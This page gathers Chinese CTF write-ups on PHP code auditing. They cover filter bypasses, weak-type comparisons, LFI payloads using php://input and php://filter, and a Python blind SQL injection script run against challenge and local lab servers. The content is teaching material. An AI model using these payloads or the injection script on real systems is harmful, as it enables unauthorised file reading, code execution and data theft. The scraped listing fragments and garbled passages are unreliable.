精华内容
下载资源
问答
  • CTF代码审计之[HCTF 2018]WarmUp
    2021-05-07 06:58:41

    [HCTF 2018]WarmUp

    {public static function checkFile(&$page)

    {$whitelist = ["source"=>"source.php","hint"=>"hint.php"];if (! isset($page) || !is_string($page)) {echo "you can't see it";return false;

    }if (in_array($page, $whitelist)) {return true;

    }$_page =mb_substr($page,

    0,mb_strpos($page . '?', '?')

    );if (in_array($_page, $whitelist)) {return true;

    }$_page = urldecode($page);$_page =mb_substr($_page,

    0,mb_strpos($_page . '?', '?')

    );if (in_array($_page, $whitelist)) {return true;

    }echo "you can't see it";return false;

    }

    }if (! empty($_REQUEST['file'])&& is_string($_REQUEST['file'])&& emmm::checkFile($_REQUEST['file'])

    ) {include $_REQUEST['file'];exit;

    }else{echo "5bdb0d93dc794.jpg%5C%22";

    }?>

    一、在 hint.php  中我们可以知道 flag 在 ffffllllaaaagggg

    二、审计下面一部分代码

    if (! empty($_REQUEST['file']) //$_REQUEST['file']值非空

    && is_string($_REQUEST['file']) //$_REQUEST['file']值为字符串

    && emmm::checkFile($_REQUEST['file']) //能够通过checkFile函数校验

    ) {include $_REQUEST['file']; //包含$_REQUEST['file']文件

    exit;

    }else{echo "5bdb0d93dc794.jpg%5C%22";//打印滑稽表情

    }

    可以知道要求传入的 file变量的值需要满足:非空,字符串,能通过 checkFile()函数

    上面的checkFile函数有四个检测

    highlight_file(__FILE__); //打印代码

    class emmm //定义emmm类

    {public static function checkFile(&$page)//将传入的参数赋给$page

    {$whitelist = ["source"=>"source.php","hint"=>"hint.php"];//声明$whitelist(白名单)数组

    if (! isset($page) || !is_string($page)) {//若$page变量不存在或非字符串

    echo "you can't see it";//打印"you can't see it"

    return false;//返回false

    }if (in_array($page, $whitelist)) {//若$page变量存在于$whitelist数组中

    return true;//返回true

    }$_page = mb_substr(//该代码表示截取$page中'?'前部分,若无则截取整个$page

    $page,

    0,mb_strpos($page . '?', '?')

    );if (in_array($_page, $whitelist)) {return true;

    }$_page = urldecode($page);//url解码$page

    $_page =mb_substr($_page,

    0,mb_strpos($_page . '?', '?')

    );if (in_array($_page, $whitelist)) {return true;

    }echo "you can't see it";return false;

    }

    }

    分别表示 判断是否为字符串 ,判断$page是否在$whitelist数组中 ,截取$page中'?'前一部分判断是否$whitelist数组中 ,判断url解码并截取后的$page是否存在于$whitelist中

    在第四个if语句中,我们可以通过先对?进行2次url编码,此时服务端解码一次,checkFile函数解码一次,结果仍是'?',可以绕过

    构造url:http://7e76bca4-7e05-434e-943d-daedb85da0a6.node3.buuoj.cn/source.php?file=source.php%253f../../../../../ffffllllaaaagggg

    得到flag

    摘自: https://www.jianshu.com/p/36eaa95068ca

    更多相关内容
  • CTF代码审计

    2020-10-20 13:40:03
    ) 2、传入的id值,不能等于hackerDJ 3、urldecode:对传入的id进行urldecode解码 4、对传入的id值进行url两次编码,一次是用于浏览器正常解码,另一次用于代码中解码。 5、对hackerDJ进行两次url编码即可 md5()函数...

    extract变量覆盖

    <?php
    	$flag='xxx';
    	extract($_GET); 
    	if(isset($shiyan)) { 
    	$content=trim(file_get_contents($flag)); 
    		if($shiyan==$content) { 
    		echo'flag{xxx}'; 
    				} 
    		else { echo'Oh.no'; 
    			} 
    		}
    ?>
    

    1、extract()函数使用数组键名作为变量名,使用数组键值作为变量的值,当变量中有同名的元素时,该函数默认将原有的值给覆盖掉,这就造成了变量覆盖。
    2、trim() 函数移除字符串两侧的空白字符或其他预定义字符。
    3、GET方式传进来的值通过extract()函数处理,我们不知道shiyan、content的值,直接传入以GET方式传入shiyan=&content= 就可以进行将原本的变量覆盖,并且使两个变量的值相等即可。(理论上来说只要将两个值相同即可进行绕过,但是只有两个的值为空时才能得到flag)
    在这里插入图片描述

    strcmp比较字符串

    <?php
    	$flag = "flag{xxxxx}";
    	if (isset($_GET['a'])){ 
    		if (strcmp($_GET['a'], $flag) == 0) 
    			die('Flag: '.$flag); 
    	else print 'No';}
    ?>
    

    1、Get方式传入变量a,然后对变量a与flag进行比较,若等于则输出flag
    2、Strcmp()函数比较两个字符串(区分大小写),是比较字符串类型的,但是如果输入其他类型这个函数就会出现错误,在官方文档的说明中提到在php5.2之前,利用strcmp函数将数组与字符串进行比较会返回-1,但从5.3之后,会返回0。
    3、这道题的比较结果要等于0,所以我们可以传入一个数组,得到flag。
    在这里插入图片描述

    urldecode二次编码绕过

    <?php
    if(eregi("hackerDJ",$_GET[id])) {
    	echo("not allowed!");
    exit();
    }
    $_GET[id] = urldecode($_GET[id]);
    
    if($_GET[id] == "hackerDJ"){
    echo "Access granted!";
    echo "flag";
    }
    ?>
    

    1、eregi —不区分大小写的正则表达式匹配(此功能在PHP 5.3.0中已弃用, 在PHP 7.0.0中已删除。)
    2、传入的id值,不能等于hackerDJ
    3、urldecode:对传入的id进行urldecode解码
    4、对传入的id值进行url两次编码,一次是用于浏览器正常解码,另一次用于代码中解码。
    5、对hackerDJ进行两次url编码即可
    在这里插入图片描述

    md5()函数

    <?php
    error_reporting(0);
    $flag = 'flag{test}';
    if (isset($_GET['username']) and isset($_GET['password'])) { 
    	if ($_GET['username'] == $_GET['password']) 
    		print 'Your password can not be your username.'; 
    	else if (md5($_GET['username']) === md5($_GET['password'])) 
    		die('Flag: '.$flag);
    	else print 'Invalid password';}
    ?>
    

    通过GET方式传入username和password,然后对这两个参数进行MD5加密,然后对MD5值进行强类型判断,如果两个不同的值经过MD5以后,都是0E开头,那么PHP将会认为他们相同(科学计数法)

    注意:这里的参数需要以数组的格式进行传参
    在这里插入图片描述
    部分md5函数0e开头的值
    s878926199a
    0e545993274517709034328855841020
    s155964671a
    0e342768416822451524974117254469
    s214587387a
    0e848240448830537924465865611904
    s1091221200a
    0e940624217856561557816327384675
    s1885207154a
    0e509367213418206700842008763514
    s1502113478a
    0e861580163291561247404381396064
    s1836677006a
    0e481036490867661113260034900752
    s1184209335a
    0e072485820392773389523109082030
    s1665632922a
    0e731198061491163073197128363787

    a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
    
    b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
    

    md5前后都是0e开头的:0e215962017
    纯数字md5值为0:240610708
    纯字母md5值为0:QNKCDZO

    数组返回NULL绕过

    <?php
    $flag = "flag";
    
    if (isset ($_GET['password'])) {
    	if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
    	echo 'You password must be alphanumeric';
    	else if (strpos ($_GET['password'], '--') !== FALSE)
    	die('Flag: ' . $flag);
    else
    echo 'Invalid password';
    }
    ?>
    

    1、通过正则匹配可以得知,不能传入大小写数字及字母,ereg()函数不能处理数组,当传入数组时会返回NULL,所以第一个语句无法绕过。
    2、strpos(),查找指定字符在字符串中出现的位置,同样是不能处理数组,对数组会返回NULL,NULL!==FALSE
    3、payload:http://123.206.87.240:9009/19.php?password[]=
    在这里插入图片描述

    弱类型整数大小比较绕过

    $temp = $_GET['password'];
    is_numeric($temp)?die("no numeric"):NULL;
    if($temp>1336){
    echo $flag;
    

    1、传入的password必须为数字或数字字符串
    2、password的值又必须大于1336

    • 解法1:
      由于大部分你的PHP函数无法判断数组,所以可以传入一个password数组
      在这里插入图片描述

    • 解法2:
      传入比1336的数,并在后边加一个符号,让他构不成数字
      在这里插入图片描述

    sha()函数比较绕过

    <?php
    $flag = "flag";
    if (isset($_GET['name']) and isset($_GET['password'])){ 
    	var_dump($_GET['name']); 
    	echo ""; 
    	var_dump($_GET['password']);
    	var_dump(sha1($_GET['name'])); 
    	var_dump(sha1($_GET['password'])); 
    	if ($_GET['name'] == $_GET['password']) 
    		echo 'Your password can not be your name!'; 
    	else if (sha1($_GET['name']) === sha1($_GET['password'])) 
    		die('Flag: '.$flag); 
    	else echo 'Invalid password.';}
    else echo 'Login first!';
    ?>
    

    同上,构造数组即可
    在这里插入图片描述

    md5加密相等绕过

    <?php
    $md51 = md5('QNKCDZO');
    $a = @$_GET['a'];
    $md52 = @md5($a);
    if(isset($a)){
    if ($a != 'QNKCDZO' && $md51 == $md52) {
    echo "flag{*}";
    } else {
    echo "false!!!";
    }}
    else{echo "please input a";}
    ?>
    

    QNKCDZO的MD5值为:0e830400451993494058024219903391
    所以令a的MD5值也为0e开头即可(科学计数法)
    在这里插入图片描述

    十六进制与数字比较

    <?php
    error_reporting(0);
    function noother_says_correct($temp)
    {
    $flag = 'flag{test}';
    $one = ord('1'); //ord — 返回字符的 ASCII 码值
    $nine = ord('9'); //ord — 返回字符的 ASCII 码值
    $number = '3735929054';
    // Check all the input characters!
    for ($i = 0; $i < strlen($number); $i++){
    // Disallow all the digits!
    	$digit = ord($temp{$i});
    	if ( ($digit >= $one) && ($digit <= $nine) ){
    // Aha, digit not allowed!
    	return "flase";
    	}
    }
    if($number == $temp)
    return $flag;
    }
    $temp = $_GET['password'];
    echo noother_says_correct($temp);
    ?>
    

    题目:输入password,若password=3735929054即可得到flag
    但是函数要求 t e m p 不 能 含 有 1 − 9 的 数 字 , 但 是 又 要 求 temp不能含有1-9的数字,但是又要求 temp19temp等于3735929054
    PHP在转码时会把16进制转化为十进制,于是就可以将3735929054转为16进制后再当作password的值传参
    在这里插入图片描述

    ereg正则%00截断

    <?php
    $flag = "xxx";
    if (isset ($_GET['password'])){
    	if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE){
    		echo 'You password must be alphanumeric';
    	}
    	else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999){
    		if (strpos ($_GET['password'], '-') !== FALSE) //strpos — 查找字符串首次出现的位置
    		{
    		die('Flag: ' . $flag);
    		}
    	else{
    		echo('- have not been found');
    	}
    }
    else{
    	echo 'Invalid password';
    }
    }
    ?>
    

    GET传入password,要使password的值大于9999999,但是长度又不能大于8,满足以上要求后要查找‘-’再password的位置,并且返回不为FALSE才能拿到flag。

    绕过strpos函数是非常简单的,传入数组即可,strpos对数组的返回为NULL,所以很轻易就绕过FALSE了,绕过else if也很简单,传入password的数组等于2e10即可(科学计数法)
    在这里插入图片描述

    • 解法2:%00截断绕过正则匹配
      在这里插入图片描述

    数字验证正则绕过

    <?php
    error_reporting(0);
    $flag = 'flag{test}';
    if ("POST" == $_SERVER['REQUEST_METHOD']){
    $password = $_POST['password'];
    	if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)) //preg_match — 执行一个正则表达式匹配
    	{
    		echo 'flag';
    		exit;
    	}
    	while (TRUE){
    		$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
    		if (6 > preg_match_all($reg, $password, $arr))
    			break;
    		$c = 0;
    		$ps = array('punct', 'digit', 'upper', 'lower'); //[[:punct:]] 任何标点符号 [[:digit:]] 任何数字 [[:upper:]] 任何大写字母 [[:lower:]] 任何小写字母
    		foreach ($ps as $pt){
    			if (preg_match("/[[:$pt:]]+/", $password))
    				$c += 1;
    			}
    		if ($c < 3) 
    			break;//>=3,必须包含四种类型三种与三种以上
    		if ("42" == $password)
    			echo $flag;
    		else 
    			echo 'Wrong password';
    		exit;
    }
    }
    ?>
    

    首先了解一下正则表达式匹配:

    • preg_match:执行一个正则表达式匹配,匹配到则返回1,匹配不到则返回0。第一次匹配成功后就停止匹配
    • preg_match_all:执行一个全局正则表达式匹配,返回成功模式匹配的次数,并将匹配结果存储到一个数组中。匹配到字符串结束为止

    再弄明白几个正则匹配的特殊字符:

    • [:graph:] : 除空格,TAB外的所有字符
    • [:punct:] : 任何标点符号
    • [:digit:] : 任何数字
    • [:upper:] : 任何大写字母
    • [:lower:] : 任何小写字母

    首先看第一个判断条件

    if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)) //preg_match — 执行一个正则表达式匹配
    	{
    		echo 'flag';
    		exit;
    	}
    

    如果这个if条件执行成功,就会退出程序,无法获取后边的flag,所以要让if内的判断条件为假,即preg_match返回1。
    再看正则表达式/^[[:graph:]]{12,}$/,必须以任意一个除空格,TAB外的标点符号开头和结尾,且至少出现12次。

    然后看第二个判断条件

    $reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
    		if (6 > preg_match_all($reg, $password, $arr))
    			break;
    

    如果if语句成功执行,break退出循环,我们就得不到flag值
    所以我们不能让if语句成功执行,也就是说要让全局匹配成功次数大于6次
    再看正则表达式’/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/’

    因为是全局匹配,所以匹配成功的条件是检测到任何符号出现1次以上或者任何数字出现1次以上或者任何大写字母出现1次以上或者任何小写字母出现1次以上,一旦匹配成功一次,就开始检测下一次的匹配。

    再来看第三个判断条件

    $c = 0;
    		$ps = array('punct', 'digit', 'upper', 'lower'); //[[:punct:]] 任何标点符号 [[:digit:]] 任何数字 [[:upper:]] 任何大写字母 [[:lower:]] 任何小写字母
    		foreach ($ps as $pt){
    			if (preg_match("/[[:$pt:]]+/", $password))
    				$c += 1;
    			}
    		if ($c < 3) 
    			break;//>=3,必须包含四种类型三种与三种以上
    		if ("42" == $password)
    			echo $flag;
    

    如果 c < 3 , 那 么 我 们 就 得 不 到 f l a g 值 , 也 就 是 说 要 让 c<3,那么我们就得不到flag值,也就是说要让 c<3flagc>=3,即成功匹配三次或以上,即出现三种类型字符或以上
    password值等于’42’,因为类型都是字符串,所以password中的值必须等于42,结合上面的三个条件

    成功的输入可以有:

    42.000e%2b000000000

    420.000000000000e-1

    base64

     <?php
    error_reporting(0);
    
    function is_ok($c)
    {
        if (preg_match('/[0-9a-zA-Z]{2}/',$c) === 1)
        {
            die("Get out of my site!");
        }
        return 1;
    }
    
    if (isset($_POST['p']) )
    {
        $p = $_POST['p'];
        if (is_ok($p) === 1)
        {
            $pp = trim(base64_decode($p));
            @include($pp);
        }
        
    }
    
    highlight_file(__FILE__);
    
    ?> 
    

    is_ok函数是对传入的参数进行判断,判断参数值是否为连续的两个字母或数字,下面的if函数是先base64解码,然后执行。利用的点在于base64_decode传递的参数中如果有空格,默认是先删除空格。那么我们就可以在base64中加入空格,绕过
    原始payload为php://filter/read=convert.base64-encode/resource=flag.php
    base64cGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPWZsYWcucGhw
    所以最终payload:p=c G h w O i 8 v Z m l s d G V y L 3 J l Y W Q 9 Y 2 9 u d m V y d C 5 i Y X N l N j Q t Z W 5 j b 2 R l L 3 J l c 2 9 1 c m N l P W Z s Y W c u c G h w
    在这里插入图片描述

    展开全文
  • 文章难易度【★★★】文章阅读点/知识点: PHP代码审计、MySQL盲注、CTF技巧文章作者: 0h1in9e本文参与i春秋社区原创文章奖励计划,未经许可禁止转载0x01前言笔者在上个月参加一个CTF比赛的时候,遇到了一个PHP代码...

    文章难易度【★★★】

    文章阅读点/知识点: PHP代码审计、MySQL盲注、CTF技巧

    文章作者: 0h1in9e

    本文参与i春秋社区原创文章奖励计划,未经许可禁止转载0x01前言

    笔者在上个月参加一个CTF比赛的时候,遇到了一个PHP代码审计类的题目。具体地来说是关于一道SQL盲注类的题目。做了这道题之后,对SQL盲注有了更深入的了解,今天给大家分享下这道CTF题目以及解法,以及透过这个题目聊聊盲注。

    0x02关于CTF题目

    打开题目链接,如下图所示。

    6d141dc8784320d8454171820e1bdd57.png

    从图中可以看出,一个表单,没有其他的东西。到这里,一般CTF套路是源码泄露,这里猜测也是。利用扫描脚本扫描到泄露文件为/index.php~

    从而get到index.php 文件源代码如下:

    [PHP] 纯文本查看 复制代码<?php

    error_reporting(0);

    $token="e00cf25ad42683b3df678c61f42c6bda";

    foreach($_GET as $key=>$value){

    if (is_array($value)){

    die("Bad input!");

    }

    $p="and|union|where|join|sleep|benchmark|if|sleep|benchmark|,| |\'|\"";

    if(preg_match("/".$p."/is",$value)==1){

    die("inj code!");

    }

    }

    parse_str($_SERVER['QUERY_STRING']);

    if($token==md5("admin")){

    $link=@mysql_connect("XXXX","XXXX","XXXX");

    mysql_select_db("XXXX",$link);

    $sql="select * from user where userid = ".$userid;

    $query = mysql_query($sql);

    if (mysql_num_rows($query) == 1) {

    $arr = mysql_fetch_array($query);

    if($arr['password'] == $password) {

    $sql="select * from info where infoid=".$infoid;

    $result=mysql_query($sql);

    $arr = mysql_fetch_array($result);

    if(empty($arr['content'])){

    echo "error sql!";

    }else{

    echo $arr['content'];

    }

    }else{

    echo "error password!";

    }

    }else{

    echo "error userid!";

    }

    mysql_close($link);

    }else{

    echo "Bad token!";

    }

    ?>

    web-test

    User ID:

    Password:

    从这里看出,其实就是一道代码审计题目。由于官方题目在比赛结束后就直接关闭了,这里我根据出题人思路在本地搭建一个环境。

    0x03 本地题目环境搭建

    PHP代码给出来了,只需要修改相应的MySQL连接的地方即可。问题就是数据库需要自己来创建。当时我的解法是通过SQL盲注得到数据库里边flag表中flag字段里的flag值,再根据PHP代码中的相关SQL语句可以知道,数据库中需要有user、info表。

    从上述分析来看,就是本地MySQL中创建一个数据库DB,然后向其中加入三个数据表,分别是flag、info、user。

    创建SQL语句如下:

    [SQL] 纯文本查看 复制代码create DATABASE ctf_01;

    use ctf_01;

    /* 创建flag表 */

    create TABLE flag(

    flag varchar(255) not null

    );

    insert into flag values('flag{XXXX}');

    /* 创建info表 */

    create TABLE info(

    infoid int primary key not null,

    content varchar(255) not null

    );

    insert into info (infoid, content) values(1,'flag is in flag!');

    /* 创建user表 */

    create TABLE user(

    userid int primary key not null,

    username varchar(255) not null,

    password varchar(255) not null

    );

    insert info user values(1,'ctf','219d03ad2d752ad2806ea1de18613158');执行以上SQL语句,即可成功创建本地所需的SQL。如下图所示:

    eb5c6855e6ec6824e702601cf8931571.png数据库搭建好了,接下来就是部署PHP代码了。这里直接修改mysql链接部分即可。

    本地题目搭建成功,接下来就可以来怼本地了。

    0x04 解题思路中的盲注技巧

    从PHP代码中看出,首先最上边这一部分是一个类似过滤的部分:

    [PHP] 纯文本查看 复制代码foreach($_GET as $key=>$value){

    if (is_array($value)){

    die("Bad input!");

    }

    $p="and|union|where|join|sleep|benchmark|if|sleep|benchmark|,| |\'|\"";

    if(preg_match("/".$p."/is",$value)==1){

    die("inj code!");

    }

    }

    常见的SQL注入关键字都被过滤掉了,这里的benchmark、sleep的过滤表示我们不能使用基于时间的SQL盲注了。

    下边if开始的部分就是这段代码的关键了。

    从图一的“Bad token”,只有$token=md5('admin')才可以。但是明显地变量并不相等。这里注意到这一句:parse_str($_SERVER['QUERY_STRING']);

    表示可以直接传递任意变量。这样我们构造链接为:

    /index.php?token=21232f297a57a5a743894a0e4a801fc3&userid=1&password=

    此时,返回“error password!“。可知userid=1的字段是存在的,userid=0等时返回“error userid!”。

    从而可以假设,userid=1为真,0为假。这里就用到了SQL盲注的思路。

    我们把userid=1改为userid=0 or 1,空格会触发过滤机制,这里用注释代替即可绕过。

    从而为:userid=0/**/or/**/1

    为了能使用SQL盲注,我们利用MySQL子查询的特性,将1用一个子查询代替,查询到正确即返回1,错误返回0,从而根据不同的返回来进行盲注。

    同时为了规避过滤的关键字,用到一个SQL语法:substr('password' from 1 for 1)='p'

    同样地,为了规避过滤中的(')逗号,采用ascii的形式来改写以上语句: ascii('password' from 1 for 1)=112

    f7b55dfffccc4ca6ffcd419302e8362b.png

    到这里就有两种方案了:

    一种是先利用SQL盲注注入出password字段内容,从而进一步看看info表中content字段内容,利用infoid字段继续盲注到flag表中的flag。这里我们知道那里没有flag,但是真实比赛场景下不知道啊,所以我们比赛时采用的这种方案。

    另外一种就是直接利用userid字段的注入直接注入出flag。

    思路已经很明确了,接下来就是编写脚本了。

    首先,需要确定flag内容长度:

    /index.php?token=21232f297a57a5a743894a0e4a801fc3&userid=0/**/or/**/length((select/**/flag/**/from/**/flag))=29

    54356e740b6af1e2e762f5ad6f4e83f9.png

    下面直接给出脚本吧:

    [Python] 纯文本查看 复制代码import requests

    payload = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ@_.{}-'

    headers = {

    "User-Agent": "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0",

    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",

    "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",

    "Accept-Encoding": "gzip, deflate"

    }

    num = 12

    strings = ''

    for x in range(1,29):

    for y in payload:

    #strings  = strings + y

    url = "http://ctf.sb/2/index.php?userid=1&password=219d03ad2d752ad2806ea1de18613158&token=21232f297a57a5a743894a0e4a801fc3&infoid=0/**/or/**/ascii(substr((select/**/flag/**/from/**/flag)/**/from/**/%d/**/for/**/1))=%d" % (x,ord(y))

    try:

    response = requests.get(url,headers=headers,timeout=5,verify=False)

    if response.content.find('flag is in flag!') != -1:#

    strings  = strings + y

    print strings

    num -= 1

    break

    except Exception,e:

    pass

    print 'flag: ',

    print strings

    脚本执行结果如下图所示:

    c13e49ea1a837e8839c71f3faf7e5a91.png

    从而通过sql盲注方法解决这道ctf题目。

    0x05 SQL盲注简单归纳

    相对于SQL注入,盲注条件更为苛刻。往往需要通过页面的不同响应(包括响应不同内容、不同响应时间)。所以常常就有几种盲注方式:

    (1)    boolean-based blind(基于布尔的盲注)

    (2)   time-based blind (基于时间的盲注)

    (3)   error-based (报错注入)

    上述的CTF题目中,SQL注入就属于第一种情况,基于布尔的盲注。根据页面返回不同内容来注入SQL,从而获取我们所需要的信息。此外,基于时间的盲注手段,以及种类众多的盲注手法都是平时渗透测试中经常用到的,现在很多CTF代码审计题也很喜欢考些有些绕的SQL注入题目。

    0x06 小结

    本篇文章主要从一道关于盲注的CTF题目来实际地看看SQL盲注的应用思路。

    当然,一篇文章不可能面面俱到,下面几篇文章都写的不错,推荐去看看:

    展开全文
  • http://chall.tasteless.eu/ 0x02 解题过程 首先访问题目站点http://level3.tasteless.eu/index.php?file= 发现给出了题目的源码,所以本题便是要通过代码审计获取flag. 源码信息: 源码中展示的信息还是很直接的: ...

    0x01 背景

    上周总结了一些文件包含与伪协议结合的利用方法,本周就找一道例题进行演练。题目源自国外某挑战平台,平台上还有许多其他有趣的challenges题目,小伙伴有兴趣也可以上去好好玩耍一番。

    题目地址:http://level3.tasteless.eu/index.php?file=

    站点地址:http://chall.tasteless.eu/

    3cbce2c6f026

    0x02 解题过程

    首先访问题目站点http://level3.tasteless.eu/index.php?file= 发现给出了题目的源码,所以本题便是要通过代码审计获取flag.

    源码信息:

    3cbce2c6f026

    源码中展示的信息还是很直接的:

    1.高亮读取 index.php的源码

    2.在提示信息中告知要读取PHP.ini ,里面有敏感信息

    3.包含了anti_rfi.php,并提示不允许进行远程文件包含

    4.使用require_one包含了GET请求的file参数。

    根据上面的代码情况可以知道最重要的是第4点,所以可以使用如下思路进行解题。

    1.使用读取PHP.ini和anti_rfi.php,获取足够的信息

    2.绕过anti_rfi.php并远程包含一句话

    3.使用PHP伪协议直接执行代码

    分析后大致有如上的思路,第2点是需要开启allow_url_fopen,allow_url_include,第3点需要开启allow_url_include就可以了。

    读取php.ini

    http://level3.tasteless.eu/php.ini

    3cbce2c6f026

    从php.ini中得到了allow_url_include是on的状态,所以可以使用PHP伪协议执行代码,可以使用php://input的协议,成功执行了代码。

    3cbce2c6f026

    3cbce2c6f026

    此时需要获取站点的目录信息,由于allow_url_fopen是为off的状态所以无法使用远程文件包含执行命令了,也就无法直接用菜刀去连接并寻找flag,但是已经知道网站的根目录/var/www/chall/level3

    此时本想可以使用命令执行的函数执行命令获取目录信息,但是这里似乎做了限制,无法执行系统命令,所以这里需要介绍PHP的scandir()函数会将当先目录下的目录结构以数组的方式保存,请求http://level3.tasteless.eu/index.php?file=php://input [POST DATA:]print_r(scandir('/var/www/chall/level3'))?>得到flag文件的名称。

    3cbce2c6f026

    访问th3_th3_fl4g得到flag的值。

    3cbce2c6f026

    0x03 小小总结

    想必上周总结的伪协议与本周文件包含结合的利用方法小伙伴已经GET到了,解题过程大致有如下3步骤:

    1.分析站点给出的源代码

    2.判断allow_url_fopen,allow_url_include的开启状态,来推测可以使用的伪协议

    3.使用相应的伪协议执行代码获取flag

    当无法判断allow_url_fopen,allow_url_include的开启状态时,可逐一尝试如下的请求判断哪些能够执行,如果有上传功能那么可能是考phar或zip等压缩流的知识点。

    PHP 读文件和代码执行的方式:1.?file=data:text/plain,

    2.?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

    3.?file=php://input [POST DATA:]

    4.?file=php://filter/read=convert.base64-encode/resource=xxx.php

    ……

    0x04扩展小知识

    虽然本题allow_url_fopen是off的状态,所以是无法使用远程文件包含的,如果是ON的话就需要使用文件包含读取anti_rfi.php文件,查看文件中的源码了。

    如,使用http://level3.tasteless.eu/index.php?file=php://input [POST DATA] 读取anti_rfi.php文件的源码信息。

    3cbce2c6f026

    从源码中可以看到使用了正则匹配http://, data 匹配到了,返回hacker detected,但是并没有匹配ftp://所以使用ftp://也是一个思路。

    3cbce2c6f026

    3cbce2c6f026

    3cbce2c6f026

    展开全文
  • 最近做了这么一个题,差点都蒙了(归根结底还是自己太菜) 题目: alert("give you flag...看图 下图是POST传参形式下的值 下图是GET传参形式下的值 这样一切变得合理了起来 is_string//检测代码是否为字符串 mb_substr
  • BugkuCTF代码审计Writeup

    2019-02-03 18:48:02
    最近在读吴翰清先生的《白帽子讲Web安全》,可以说是萌新打开了自己新世界的大门,看了白帽子的PHP安全这一块内容,决定上手一些题目练一练基础,下面放上一些晚上练习的Bugku的代码审计题目; 正文 extract变量覆盖...
  • > 读代码,本题的意思就是使username!=password && md5(username)===md5(password) md5() 函数计算字符串的 MD5 散列 松散比较:使用两个等号 == 比较,只比较值,不比较类型。 严格比较:用两个等号 === 比较...
  • 信呼OA 看一下比赛的两道题目: 咱捋一遍思路! 拿到cms不用怕! 先看下网络! 看到a m surl 等参数 m=index&a=getshtml&surl=aG9tZS9pbmRleC9yb2NrX2luZGV4&num=home&menuname=6aaW6aG1 ...displ
  • extract()函数从数组中将函数导入当前列表,将数组的键当作变量名,数组的值当作对应变量的值。例如: <?php $a = "Original"; $my_array = array("a" => "Cat","b" =>... \$b = ...
  • CTF代码审计

    2019-07-25 20:48:18
    知识点 PHP弱类型比较 PHP伪协议 file=php://filter/read=convert.base64-encode/resource=flag.php file=php://filter/convert.base64-encode/resource=flag.php(过滤...注意:这里的执行代码不要用?>闭合
  • bugkuctf 代码审计

    2019-07-01 20:24:07
    下面分析代码的含义 它定义了变量flag为“xxx",通过get方式得到变量值。 下面判断了是否存在"shiyan"这个变量。 下一句是将flag这个文件里的内容直接赋给content这个变量并且去除这个变量的空格等其他字符 如果...
  • ctf.show WEB入门-代码审计

    千次阅读 2021-11-25 20:18:15
    ctfshow 代码审计篇 web301-web310
  • 此工具用于学习交流用途,切勿用于其它用途。

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 3,949
精华内容 1,579
关键字:

ctf代码审计

友情链接: shutdrwn.rar